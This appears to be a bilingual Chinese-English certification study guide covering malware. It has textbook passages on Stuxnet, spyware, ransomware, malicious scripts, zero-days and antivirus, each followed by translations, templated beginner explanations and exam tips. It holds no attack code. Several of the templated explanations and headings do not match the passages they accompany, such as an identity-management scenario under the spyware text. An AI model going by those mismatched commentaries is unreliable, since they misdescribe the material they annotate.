When it found such a system, it executed a series of actions designed to destroy centrifuges attached to the Siemens controller. Stuxnet appeared to begin its spread in the Middle East, specifically on systems located in Iran. It is alleged to have been designed by Western nations with the intent of disrupting an Iranian nuclear weapons program. According to a story in The New York Times, a facility in Israel contained equipment used to test the worm.

The story stated, “Israel has spun nuclear centrifuges nearly identical to Iran's” and went on to say that “the operations there, as well as related efforts in the United States, are … clues that the virus was designed as an American-Israeli project to sabotage the Iranian program.” If these allegations are true, Stuxnet marks two major evolutions in the world of malicious code: the use of a worm to cause major physical damage to a facility and the use of malicious code in warfare between nations. 。

中文直译 / 整理

他被判处三年缓刑、400小时社区服务,并根据1986年《计算机欺诈与 滥用法案》处以10,000美元罚款。 颇具讽刺意味的是,莫里斯的父亲罗伯 特·莫里斯当时正担任美国国家安全局国家计算机安全中心(NCSC)主任。 Stuxnet 2010年年中,一个名为Stuxnet的蠕虫在互联网上出现。 这种高度复杂的蠕虫 采用多种先进技术进行传播,包括多个此前未公开的漏洞。 Stuxnet使用以下传 播技术: 扫描本地网络上系统未受保护的管理共享 利用Windows Server服务和Windows打印后台处理程序服务中的零日漏 洞 使用默认数据库密码连接到系统 通过共享被感染的USB驱动器进行传播 尽管Stuxnet在系统间肆意传播,但它实际上是在寻找一种非常特定的系统—— 使用西门子制造的控制器并据称用于生产核武器材料的系统。 当它发现此类 系统时,便会执行一系列旨在摧毁连接到西门子控制器的离心机的操作。 Stuxnet似乎始于中东,特别是位于伊朗的系统。 据称,它是由西方国家设计, 旨在破坏伊朗的核武器计划。 根据《纽约时报》的一篇报道,以色列的一个设 施中包含用于测试该蠕虫的设备。

该报道指出:"以色列已制造出与伊朗几乎完 全相同的核离心机",并进一步表示:"以色列的这些操作,以及美国的相关努 力,都是⋯⋯病毒被设计为美以联合项目以破坏伊朗计划的线索。 " 如果这些指控属实,Stuxnet标志着恶意代码领域的两大重要演变:利用蠕虫对 设施造成重大物理破坏,以及在国家间战争中使用恶意代码。

小白解释

场景先行:开发团队要上线登录功能。安全不是上线前扫一下漏洞,而是从需求、设计、编码、测试、发布到运维都要参与。

这一页真正想让你理解的是:框架帮助组织系统化管理控制,而不是想到哪做到哪。

把它放进公司里看,关键不是背定义,而是判断:安全太晚介入,修复成本高,还可能把漏洞带到生产环境。

你作为负责人可以这样想:在 SDLC 早期做威胁建模、代码审查、测试和发布控制。

本页术语用人话说:

NIST:NIST 提供美国常用安全标准、框架和指南。

程序:程序是一步一步怎么做。

恶意代码:恶意代码包括病毒、蠕虫、木马、勒索软件等。

常见误区:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

读完后用一句话复述:如果我是应用安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“安全控制框架:用成熟框架组织安全”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是应用安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

Step-by-step、SOP 常对应 procedure。

防恶意代码要结合补丁、最小权限、检测、备份和用户培训。

排除法提醒:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

本页术语拆解
NIST NIST 提供美国常用安全标准、框架和指南。
程序 程序是一步一步怎么做。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 15 / PDF P1409

保护机制:分层、隐藏、加密和边界

单一控制不够,安全靠多个机制配合。

教材原文段落

Spyware and Adware Two other types of unwanted software interfere with the way you normally use your computer. Spyware monitors your actions and transmits important details to a remote system that spies on your activity. For example, spyware might wait for you to log into a banking website and then transmit your username and password to the creator of the spyware. Alternatively, it might wait for you to enter your credit card number on an ecommerce site and transmit it to a fraudster to resell on the black market. Adware, while quite similar to spyware in form, has a different purpose. It uses a variety of techniques to display advertisements on infected computers.

The simplest forms of adware display pop-up ads on your screen while you surf the web. More nefarious versions may monitor your shopping behavior and redirect you to competitor websites. Both spyware and adware fit into a category of software known as potentially unwanted programs (PUPs), software that a user might consent to installing on their system that then carries out functions that the user did not desire or authorize. Adware and malware authors often take advantage of thirdparty plug-ins to popular internet tools, such as web browsers, to spread their malicious content.

The authors find plug-ins that already have a strong subscriber base that granted the plug-in permission to run within their browser and/or gain access to their information. They then supplement the original plug-in code with malicious code that spreads malware, steals information, or performs other unwanted activity. Ransomware Ransomware is a type of malware that weaponizes cryptography. After infecting a system through many of the same techniques used by other types of malware, ransomware then generates an encryption key known only to the ransomware author and uses that key to encrypt critical files on the system's hard drive and any mounted drives.

This encryption renders the data inaccessible to the authorized user or anyone else other than the malware author.

中文直译 / 整理

间谍软件和广告软件 另外两种不必要的软件会干扰您正常使用计算机的方式。 间谍软件会监控您的 操作,并将重要细节传输给监控您活动的远程系统。 例如,间谍软件可能会等 待您登录银行网站,然后将您的用户名和密码发送给间谍软件的创建者。 或者, 它可能会等待您在电子商务网站上输入信用卡号,并将其传输给欺诈者,以便 在黑市上转售。 广告软件虽然在形式上与间谍软件非常相似,但其目的不同。 它使用多种技术 在受感染的计算机上显示广告。 最简单的广告软件形式是在您上网时在屏幕上 弹出广告。 更恶意的版本可能会监控您的购物行为,并将您重定向到竞争对手 的网站。 间谍软件和广告软件都属于一类被称为潜在不需要的程序(PUPs)的软件, 这类软件是用户可能同意安装到其系统中的,但随后会执行用户并未期望或授 权的功能。 广告软件和恶意软件作者经常利用流行互联网工具(如网页浏览器) 的第三方插件来传播其恶意内容。 作者会寻找那些已拥有大量订阅用户、 且已授予插件在浏览器中运行权限或访问其信息权限的插件。 然后,他们 在原始插件代码中添加恶意代码,以传播恶意软件、窃取信息或执行其他 不希望的活动。 勒索软件 勒索软件 是一种利用密码学的恶意软件。

在通过与其他类型恶意软件相同的多 种技术感染系统后,勒索软件会生成一个仅勒索软件作者知晓的加密密钥,并 使用该密钥加密系统硬盘及任何已挂载驱动器上的关键文件。 这种加密使数据 对授权用户或其他任何人(除恶意软件作者外)均无法访问。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:单一控制不够,安全靠多个机制配合。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

授权:授权是认证之后决定你能访问什么、能做什么。

加密:加密把内容变成未授权者看不懂的形式。

程序:程序是一步一步怎么做。

密码学:密码学用数学方法保护信息,常用于机密性、完整性、认证和不可否认性。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“保护机制:分层、隐藏、加密和边界”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

认证成功不等于什么都能做;权限仍要单独授权。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

Step-by-step、SOP 常对应 procedure。

加密保护机密性,哈希保护完整性,数字签名支持完整性、真实性和不可否认性。

日志要保护完整性、时间同步和访问控制。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
授权 授权是认证之后决定你能访问什么、能做什么。
加密 加密把内容变成未授权者看不懂的形式。
程序 程序是一步一步怎么做。
密码学 密码学用数学方法保护信息,常用于机密性、完整性、认证和不可否认性。
日志 日志记录系统和用户活动,用于监控、审计和调查。
恢复点目标 RPO RPO 是最多能接受丢失多少时间范围的数据。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 16 / PDF P1410

政策、标准、程序、指南

高层原则、最低要求、操作步骤、建议做法要分清。

教材原文段落

The user is then presented with a message notifying them that their files were encrypted and demanding payment of a ransom before a specific deadline to prevent the files from becoming permanently inaccessible. Some attackers go further and threaten that they will publicly release sensitive information if the ransom is not paid. Ransomware has been around since 1989, but its use and impact have accelerated in recent years. Whereas original ransomware attacks targeted individual users and demanded relatively small payments in the hundreds of dollars, recent attacks have targeted large enterprises.

Law enforcement agencies, hospitals, and government offices have all fallen victim to largescale, sophisticated ransomware attacks. In fact, according to research by Check Point, in 2023, for every 10 organizations worldwide, one experienced a ransomware attack attempt. Organizations experiencing ransomware attacks are left in the difficult position of deciding how to move forward. Those with strong backup and recovery programs may suffer some downtime as they work to rebuild systems from those backups and remediate them to prevent a future infection. Those who lack data find themselves pressured to pay the ransom in order to regain access to their data.

Attackers understand this difficult position and take advantage of their upper hand. A study by Statista found that in 2023, some 73 percent of organizations around the world who reported ransomware infections chose to pay the ransom. This presents affected companies with a challenging ethical dilemma: Should they pay the ransom and reward criminal behavior or risk permanently losing access to their data?

中文直译 / 整理

随后,用户会收到一条消息,通知其文件已被加密,并要求在特定截止日期前 支付赎金,以防止文件永久无法访问。 一些攻击者更进一步,威胁称如果未支 付赎金,他们将公开发布敏感信息。 勒索软件自1989年以来就已存在,但近年来其使用和影响迅速加剧。 早期的勒 索软件攻击主要针对个人用户,要求支付数百美元的相对较小金额; 而近期的 攻击则转向大型企业。 执法机构、医院和政府办公室都已成为大规模、复杂勒 索软件攻击的受害者。 事实上,根据Check Point的研究,2023年,全球每10 个组织中就有1个遭遇过勒索软件攻击尝试。 遭受勒索软件攻击的组织面临艰难的抉择:如何继续前行。 拥有强大备份和 恢复机制的组织可能在从备份重建系统并修复以防止未来感染的过程中经历 一些停机时间; 而缺乏数据备份的组织则被迫支付赎金,以重新获得对数据 的访问权限。 攻击者了解这一艰难处境,并利用其优势地位。 Statista的一项研究发现, 2023年,全球报告遭受勒索软件感染的组织中,约有73%选择了支付赎金。 这 给受影响的公司带来了严峻的道德困境:他们应该支付赎金以奖励犯罪行为, 还是冒永久失去数据访问权限的风险?

小白解释

场景先行:员工在家访问公司系统,流量要穿过家庭网络、互联网、防火墙、VPN、服务器。网络安全题就是让你判断问题发生在哪一层、用哪个控制放在什么位置。

这一页真正想让你理解的是:高层原则、最低要求、操作步骤、建议做法要分清。

把它放进公司里看,关键不是背定义,而是判断:不分层就会乱选设备:该加密的地方装防火墙,该监测的地方却只做访问控制。

你作为负责人可以这样想:先定位网络层次,再决定是分段、过滤、加密、检测还是阻断。

本页术语用人话说:

加密:加密把内容变成未授权者看不懂的形式。

OSI 模型:OSI 用七层结构理解网络通信,从物理层到应用层。

常见误区:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

读完后用一句话复述:如果我是网络安全工程师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“政策、标准、程序、指南”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是网络安全工程师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

网络题先定位层次,再判断协议、设备或攻击位置。

排除法提醒:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

本页术语拆解
加密 加密把内容变成未授权者看不懂的形式。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
学习单元 17 / PDF P1411

安全控制框架:用成熟框架组织安全

框架帮助组织系统化管理控制,而不是想到哪做到哪。

教材原文段落

Paying Ransom May Be Illegal In addition to the ethical considerations around ransom payments, there are also serious legal concerns. In 2021, the U.S. Department of the Treasury's Office of Foreign Assets Control (OFAC) informed U.S. firms that many ransomware authors are subject to economic sanctions, making payments to them illegal. The advisory read, in part: Facilitating a ransomware payment that is demanded as a result of malicious cyber activities may enable criminals and adversaries with a sanctions nexus to profit and advance their illicit aims.

For example, ransomware payments made to sanctioned persons or to comprehensively sanctioned jurisdictions could be used to fund activities adverse to the national security and foreign policy objectives of the United States. Such payments not only encourage and enrich malicious actors, but also perpetuate and incentivize additional attacks. Moreover, there is no guarantee that companies will regain access to their data or be free from further attacks themselves. For these reasons, the U.S. government strongly discourages the payment of cyber ransom or extortion demands.

Firms considering the payment of a ransom should read the full advisory at https://ofac.treasury.gov/media/912981/download?inline and also seek legal advice prior to engaging with ransomware authors. Malicious Scripts Technologists around the world rely on scripting and automation to improve the efficiency and effectiveness of their work. It's not uncommon to find libraries of scripts written in languages such as PowerShell and Bash that execute sequences of command-line instructions in a highly automated fashion. For example, an administrator might write a PowerShell script that runs on a Windows domain each time a new user is added to the organization.

The script might provision their user account, configure rolebased access control, send an email with welcoming information, and perform other administrative tasks. Administrators may trigger the script manually or integrate it with the human resources system to automatically run when the organization hires a new employee.

中文直译 / 整理

支付赎金可能违法 除了关于支付赎金的道德考量外,还存在严重的法律问题。 2021年,美国 财政部外国资产控制办公室(OFAC)告知美国企业,许多勒索软件作者 受到经济制裁,向他们支付赎金属于违法行为。 该建议书部分内容如下: 为因恶意网络活动而勒索的赎金提供便利,可能使与制裁有关的犯罪 分子和对手获利并推进其非法目标。 例如,向受制裁人员或全面制裁 地区支付的勒索软件付款,可能被用于资助损害美国国家安全和外交 政策目标的活动。 此类付款不仅鼓励并使恶意行为者获利,还助长并 激励更多攻击的发生。 此外,无法保证企业能够恢复对数据的访问权 限,或免受进一步攻击。 因此,美国政府强烈反对支付网络勒索或恐 吓要求。 考虑支付赎金的公司应阅读完整公告: https://ofac.treasury.gov/media/912981/download?inline,并在与勒索 软件作者接触前寻求法律建议。 恶意脚本 全球的技术人员依靠脚本和自动化来提高工作的效率和效果。 编写使用 PowerShell和Bash等语言的脚本库,以高度自动化的方式执行一系列命令行 指令,并不罕见。

例如,管理员可能会编写一个PowerShell脚本,每当组织 中添加新用户时,该脚本便会在Windows域中运行。 该脚本可能会为其创建 用户账户、配置基于角色的访问控制、发送包含欢迎信息的电子邮件,并执行 其他管理任务。 管理员可以手动触发该脚本,或将其与人力资源系统集成,以 便在组织雇佣新员工时自动运行。

小白解释

场景先行:凌晨监控告警:某台服务器开始大量外连。你不能先忙着写报告,也不能直接关全网。事件响应要按顺序做:确认、遏制、根除、恢复、复盘。

这一页真正想让你理解的是:框架帮助组织系统化管理控制,而不是想到哪做到哪。

把它放进公司里看,关键不是背定义,而是判断:步骤乱了会扩大损失,或者破坏证据。

你作为负责人可以这样想:先保全证据和控制影响,再清除原因并恢复业务。

本页术语用人话说:

ISO:ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。

NIST:NIST 提供美国常用安全标准、框架和指南。

政策:政策是高层原则,说明必须遵守什么。

资产:资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。

常见误区:不要一上来就删除文件或重装系统;可能会破坏调查证据。

读完后用一句话复述:如果我是事件响应负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“安全控制框架:用成熟框架组织安全”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是事件响应负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

ISO 偏标准和管理体系。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

Policy 高层、强制、稳定;Procedure 具体步骤。

资产安全题先问资产是谁拥有、如何分类、谁负责保护。

日志要保护完整性、时间同步和访问控制。

排除法提醒:不要一上来就删除文件或重装系统;可能会破坏调查证据。

本页术语拆解
ISO ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。
NIST NIST 提供美国常用安全标准、框架和指南。
政策 政策是高层原则,说明必须遵守什么。
资产 资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。
日志 日志记录系统和用户活动,用于监控、审计和调查。
学习单元 18 / PDF P1412

安全控制框架:用成熟框架组织安全

框架帮助组织系统化管理控制,而不是想到哪做到哪。

教材原文段落

Unfortunately, this same scripting technology is available to improve the efficiency of malicious actors. In particular, APT organizations often take advantage of scripts to automate routine portions of their malicious activity. For example, they might have a PowerShell script to run each time they gain access to a new Windows system that attempts a series of privilege escalation attacks. Similarly, they might have another script that runs when they gain administrative access to a system that joins it to their command-and-control network, opens backdoors for future access, and other routine tasks. Malicious scripts are also commonly found in a class of malware known as fileless malware.

These fileless attacks never write files to disk, making them more difficult to detect. For example, a user might receive a malicious link in a phishing message. That link might exploit a browser vulnerability to execute code that downloads and runs a PowerShell script entirely in memory, where it triggers a malicious payload. No data is ever written to disk, and anti-malware controls that depend on the detection of disk activity would not notice the attack. Zero-Day Attacks Many forms of malicious code take advantage of zero-day vulnerabilities, security flaws discovered by attackers that have not been thoroughly addressed by the security community.

There are two main reasons systems are affected by these vulnerabilities: The necessary delay between the discovery of a new type of malicious code and the issuance of patches and antivirus updates. This is known as the window of vulnerability. Slowness in applying updates on the part of system administrators. The existence of zero-day vulnerabilities makes it critical that you have a defense-in-depth approach to cybersecurity that incorporates a varied set of overlapping security controls. These should include a strong patch management program, current antivirus software, configuration management, application control, content filtering, and other protections.

When used in conjunction with each other, these overlapping controls increase the likelihood that at least one control will detect and block attempts to install malware. Chapter 17 provided more information about zero-day attacks.

中文直译 / 整理

不幸的是,这种相同的脚本技术也可供恶意行为者利用,以提高其效率。 特别 是,APT组织经常利用脚本来自动化其恶意活动中的常规部分。 例如,他们可 能拥有一个PowerShell脚本,每次获得对新Windows系统的访问权限时都会 运行,尝试一系列权限提升攻击。 类似地,他们可能还有另一个脚本,在获得 系统的管理员权限时运行,将该系统加入其命令与控制网络、打开后门以供将 来访问,以及其他常规任务。 恶意脚本也常见于一类称为 无文件恶意软件 的恶意软件中。 这些无文件攻 击永远不会将文件写入磁盘,因此更难以检测。 例如,用户可能在钓鱼消息中 收到一个恶意链接。 该链接可能利用浏览器漏洞在内存中执行代码,下载并运 行一个 PowerShell 脚本,从而触发恶意负载。 没有任何数据被写入磁盘,依 赖于检测磁盘活动的反恶意软件控制措施将无法察觉此类攻击。 零日攻击 许多形式的恶意代码利用 零日漏洞,即攻击者发现但安全社区尚未充分应对 的安全缺陷。 系统受这些漏洞影响主要有两个原因: 在发现新型恶意代码与发布补丁和杀毒软件更新之间存在的必要延迟。 这 被称为 漏洞窗口。 系统管理员应用更新的迟缓。

零日漏洞的存在使得您必须采用纵深防御的网络安全策略,该策略应包含一系 列重叠的安全控制措施。 这些措施应包括强大的补丁管理程序、最新的防病毒 软件、配置管理、应用程序控制、内容过滤以及其他保护措施。 当这些重叠的 控制措施协同使用时,将提高至少一项控制措施能够检测并阻止恶意软件安装 的可能性。 第17章提供了有关零日攻击的更多信息。

小白解释

场景先行:凌晨监控告警:某台服务器开始大量外连。你不能先忙着写报告,也不能直接关全网。事件响应要按顺序做:确认、遏制、根除、恢复、复盘。

这一页真正想让你理解的是:框架帮助组织系统化管理控制,而不是想到哪做到哪。

把它放进公司里看,关键不是背定义,而是判断:步骤乱了会扩大损失,或者破坏证据。

你作为负责人可以这样想:先保全证据和控制影响,再清除原因并恢复业务。

本页术语用人话说:

纵深防御:纵深防御不是一道门,而是一层又一层控制。

NIST:NIST 提供美国常用安全标准、框架和指南。

程序:程序是一步一步怎么做。

日志:日志记录系统和用户活动,用于监控、审计和调查。

常见误区:不要一上来就删除文件或重装系统;可能会破坏调查证据。

读完后用一句话复述:如果我是事件响应负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“安全控制框架:用成熟框架组织安全”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是事件响应负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

多层控制串联、避免单点失败,就是 defense in depth。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

Step-by-step、SOP 常对应 procedure。

日志要保护完整性、时间同步和访问控制。

RPO 问数据:最多丢到哪个时间点。

排除法提醒:不要一上来就删除文件或重装系统;可能会破坏调查证据。

本页术语拆解
纵深防御 纵深防御不是一道门,而是一层又一层控制。
NIST NIST 提供美国常用安全标准、框架和指南。
程序 程序是一步一步怎么做。
日志 日志记录系统和用户活动,用于监控、审计和调查。
恢复点目标 RPO RPO 是最多能接受丢失多少时间范围的数据。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 19 / PDF P1413

安全控制框架:用成熟框架组织安全

框架帮助组织系统化管理控制,而不是想到哪做到哪。

教材原文段落

Malware Prevention Cybersecurity professionals must take steps to protect their organization against a wide variety of malware threats. As you read in the previous sections of this chapter, these threats come in many forms and defending against them requires a multipronged approach. Platforms Vulnerable to Malware Most computer viruses are designed to disrupt activity on systems running versions of the world's most popular operating system—Microsoft Windows. In a 2020 analysis by http://av-test.org, researchers estimated that 83 percent of malware in existence targets the Windows platform.

This is a significant change from past years, when more than 95 percent of malware targeted Windows systems; it reflects a change in malware development that has begun to target mobile devices and other platforms. Significantly, the amount of malware targeting Mac systems recently tripled, while the number of malware variants targeting Android devices doubled that same year. The bottom line is that users of all operating systems should be aware of the malware threat and ensure that they have adequate protections in place. Anti-malware Software Anti-malware software is now a cornerstone of every cybersecurity program.

System administrators would probably not even consider the idea of deploying an endpoint (such as a desktop, laptop, or mobile device) or server that did not contain basic anti-malware software designed to block the vast majority of threats commonly found in today's environment. Failure to do so is akin to failing to wear a seat belt when driving a car: it's simply unsafe and irresponsible. The vast majority of these packages use a method known as signature-based detection to identify potential virus infections on a system. Essentially, an antivirus package maintains an extremely large database that contains the telltale characteristics of all known viruses.

Depending on the antivirus package and configuration settings, it scans storage media periodically, checking for any files that contain data matching those criteria. If any are detected, the antivirus package takes one of the following actions:

中文直译 / 整理

恶意软件防护 网络安全专业人员必须采取措施,保护其组织免受各种恶意软件威胁。 正 如本章前面部分所读到的,这些威胁形式多样,防御它们需要采取多管齐 下的方法。 易受恶意软件攻击的平台 大多数计算机病毒旨在破坏运行全球最流行操作系统——Microsoft Windows版本的系统。 根据http://av-test.org在2020年的分析,研究人员 估计,现存恶意软件中有83%针对Windows平台。 这与过去几年的情况有显 著不同,当时超过95%的恶意软件针对Windows系统; 这一变化反映了恶意 软件开发趋势的转变,开始转向移动设备和其他平台。 值得注意的是,针对Mac系统的恶意软件数量最近增加了三倍,而针对 Android设备的恶意软件变种数量在同一年翻了一番。 总而言之,所有操作系 统的用户都应意识到恶意软件的威胁,并确保已采取充分的防护措施。 反恶意软件 反恶意软件如今已成为每个网络安全计划的基石。 系统管理员几乎不会考虑部 署不包含基本反恶意软件的终端(如台式机、笔记本电脑或移动设备)或服务 器,这些软件旨在阻止当今环境中常见的绝大多数威胁。 不这样做就如同开车 时不系安全带:既不安全,也不负责任。

这些软件包中的绝大多数使用一种称为基于签名的检测的方法来识别系统上的 潜在病毒感染。 本质上,防病毒软件包维护一个包含所有已知病毒特征的超大 数据库。 根据防病毒软件包和配置设置的不同,它会定期扫描存储介质,检查 是否存在包含符合这些特征数据的文件。 如果检测到任何此类文件,防病毒软 件包将采取以下措施之一:

小白解释

场景先行:开发团队要上线登录功能。安全不是上线前扫一下漏洞,而是从需求、设计、编码、测试、发布到运维都要参与。

这一页真正想让你理解的是:框架帮助组织系统化管理控制,而不是想到哪做到哪。

把它放进公司里看,关键不是背定义,而是判断:安全太晚介入,修复成本高,还可能把漏洞带到生产环境。

你作为负责人可以这样想:在 SDLC 早期做威胁建模、代码审查、测试和发布控制。

本页术语用人话说:

NIST:NIST 提供美国常用安全标准、框架和指南。

强制访问控制 MAC:MAC 由系统根据标签和级别强制决定访问。

恶意代码:恶意代码包括病毒、蠕虫、木马、勒索软件等。

常见误区:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

读完后用一句话复述:如果我是应用安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“安全控制框架:用成熟框架组织安全”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是应用安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

政府/军方、机密级别、标签、不可由用户随意改通常是 MAC。

防恶意代码要结合补丁、最小权限、检测、备份和用户培训。

排除法提醒:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

本页术语拆解
NIST NIST 提供美国常用安全标准、框架和指南。
强制访问控制 MAC MAC 由系统根据标签和级别强制决定访问。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 20 / PDF P1414

完整性:数据要正确、可信、未被乱改

完整性不只是防黑客篡改,也包括防授权用户误操作。

教材原文段落

If the software can eradicate the virus, it disinfects the affected files and restores the machine to a safe condition. If the software recognizes the virus but doesn't know how to disinfect the files, it may quarantine the files until the user or an administrator can examine them manually. If security settings/policies do not provide for quarantine or the files exceed a predefined danger threshold, the antivirus package may delete the infected files in an attempt to preserve system integrity. When using a signature-based antivirus package, it's essential to remember that the package is only as effective as the virus definition file on which it's based.

If your virus definitions are not frequently updated, your antivirus software will not be able to detect newly created viruses. With thousands of viruses appearing on the Internet each day, an outdated definition file will quickly render your defenses ineffective. Many antivirus packages also use heuristic mechanisms to detect potential malware infections. These methods analyze the behavior of software, looking for the telltale signs of virus activity, such as attempts to elevate privilege level, cover their electronic tracks, and alter unrelated or operating system files.

This approach was not widely used in the past but has now become the mainstay of the advanced endpoint protection solutions used by many organizations. A common strategy is for systems to quarantine suspicious files and send them to a malware analysis tool, where they are executed in an isolated but monitored environment. If the software behaves suspiciously in that environment, it is blocked throughout the organization, rapidly updating antivirus signatures to meet new threats. Modern antivirus software products are able to detect and remove a wide variety of types of malicious code and then clean the system. In other words, antivirus solutions are rarely limited to viruses.

These tools are often able to provide protection against worms, Trojan horses, logic bombs, rootkits, spyware, and various other forms of emailor web-borne code. In the event that you suspect new malicious code is sweeping the Internet, your best course of action is to contact your antivirus software vendor to inquire about your state of protection against the new threat. Don't wait until the next scheduled or automated signature dictionary update. Furthermore, never accept the word of any third party about protection status offered by an antivirus solution. Always contact the vendor directly. Most responsible antivirus vendors will send alerts to their customers as soon as new,

中文直译 / 整理

如果软件能够清除病毒,它将对受感染的文件进行消毒,并将系统恢复到安全状态。 如果软件能够识别病毒但不知道如何清除文件,它可能会将文件隔离,直 到用户或管理员能够手动检查它们。 如果安全设置/策略未提供隔离功能,或文件超过预设的危险阈值,杀毒 软件可能会删除受感染的文件,以试图保持系统完整性。 使用基于特征码的杀毒软件时,必须记住,该软件的有效性完全取决于其依 赖的病毒定义文件。 如果您的病毒定义未频繁更新,您的杀毒软件将无法检 测到新创建的病毒。 每天互联网上都会出现数千种新病毒,过时的定义文件 将迅速使您的防护失效。 许多杀毒软件还使用启发式机制来检测潜在的恶意软件感染。 这些方法分析软 件的行为,寻找病毒活动的典型迹象,例如尝试提升权限级别、掩盖电子痕迹 以及修改无关文件或操作系统文件。 过去这种方法并未广泛使用,但现在已成 为许多组织使用的高级终端防护解决方案的主要手段。 一种常见的策略是,系 统将可疑文件隔离并发送到恶意软件分析工具中,在隔离但受监控的环境中执 行。 如果软件在该环境中表现出可疑行为,它将被整个组织阻止,并快速更新 杀毒特征码以应对新威胁。

现代防病毒软件产品能够检测并移除多种类型的恶意代码,然后清理系统。 换 句话说,防病毒解决方案很少仅限于病毒。 这些工具通常能够提供针对蠕虫、 特洛伊木马、逻辑炸弹、根套件、间谍软件以及各种其他通过电子邮件或网页 传播的代码的保护。 如果您怀疑有新的恶意代码正在互联网上蔓延,您最好的 做法是联系您的防病毒软件供应商,咨询您对新威胁的防护状态。 不要等到下 一次计划的或自动的特征库更新。 此外,绝不要轻信任何第三方关于防病毒解 决方案防护状态的说法。 请始终直接联系供应商。 大多数负责任的防病毒供应 商会在识别出新的

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:完整性不只是防黑客篡改,也包括防授权用户误操作。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

ISO:ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。

NIST:NIST 提供美国常用安全标准、框架和指南。

强制访问控制 MAC:MAC 由系统根据标签和级别强制决定访问。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“完整性:数据要正确、可信、未被乱改”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

哈希、数字签名、变更控制、输入校验常对应完整性。

ISO 偏标准和管理体系。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

政府/军方、机密级别、标签、不可由用户随意改通常是 MAC。

日志要保护完整性、时间同步和访问控制。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
ISO ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。
NIST NIST 提供美国常用安全标准、框架和指南。
强制访问控制 MAC MAC 由系统根据标签和级别强制决定访问。
